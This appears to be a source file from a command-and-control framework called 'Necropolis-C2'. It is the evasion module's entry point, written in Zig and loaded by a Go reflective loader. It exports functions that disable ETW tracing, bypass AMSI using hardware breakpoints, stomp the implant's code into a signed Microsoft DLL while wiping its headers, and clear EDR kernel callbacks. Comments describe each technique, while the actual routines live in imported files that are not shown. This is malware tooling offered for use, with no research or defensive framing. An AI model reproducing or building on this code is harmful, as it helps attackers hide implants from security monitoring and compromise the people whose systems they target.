Files
Necropolis-C2/evasion/main.zig
T
2026-07-07 04:50:23 +01:00

59 lines
1.9 KiB
Zig

// 1. ensure() — resolve APIs + init syscall gadgets. Called before every export.
// 2. init_evasion() — called by Go reflective loader after DllMain.
// 3. patch_etw() — three-tier ETW: NtTraceControl → HWBP → RET patch.
// 4. patch_amsi() — HWBP on AmsiScanBuffer, no bytes modified.
// 5. stomp_evasion(base) — copy .text into signed MS DLL, wipe headers. base from Go.
// 6. is_relocated() — true if stomp moved us (Go uses this for honest logs).
// 7. remove_edr_callbacks() — NtSetInformationProcess(InfoClass=40) clears EDR callbacks.
const std = @import("std");
const win = @import("win32.zig");
const api = @import("api.zig");
const syscall = @import("syscall.zig");
const amsi = @import("amsi.zig");
const etw = @import("etw.zig");
const stomp = @import("stomp.zig");
var g_initialized: bool = false;
// 1. one-time setup — resolves all API pointers and scans ntdll for syscall gadgets.
fn ensure() void {
if (g_initialized) return;
g_initialized = true;
api.ensure();
_ = syscall.init_syscall();
}
// 2. called by the Go loader after DllMain.
export fn init_evasion() void {
ensure();
}
// 3. three-tier — tries NtTraceControl first, then HWBP, then RET patch as last resort.
export fn patch_etw() void {
ensure();
etw.patch_etw();
}
// 4. hardware breakpoint on AmsiScanBuffer — no bytes touched in amsi.dll.
export fn patch_amsi() void {
ensure();
amsi.patch_amsi();
}
// 5. copies our .text into a signed Microsoft DLL, wipes our PE headers. base comes from Go.
export fn stomp_evasion(base: ?*anyopaque) void {
ensure();
_ = stomp.stomp_module(base);
}
// 6. returns true if stomp actually relocated us — Go uses this to be honest in logs.
export fn is_relocated() bool {
return stomp.g_evasion_relocated;
}
// 7. clears EDR kernel callbacks via NtSetInformationProcess(InfoClass=40). runs last.
export fn remove_edr_callbacks() void {
ensure();
syscall.remove_edr_callbacks();
}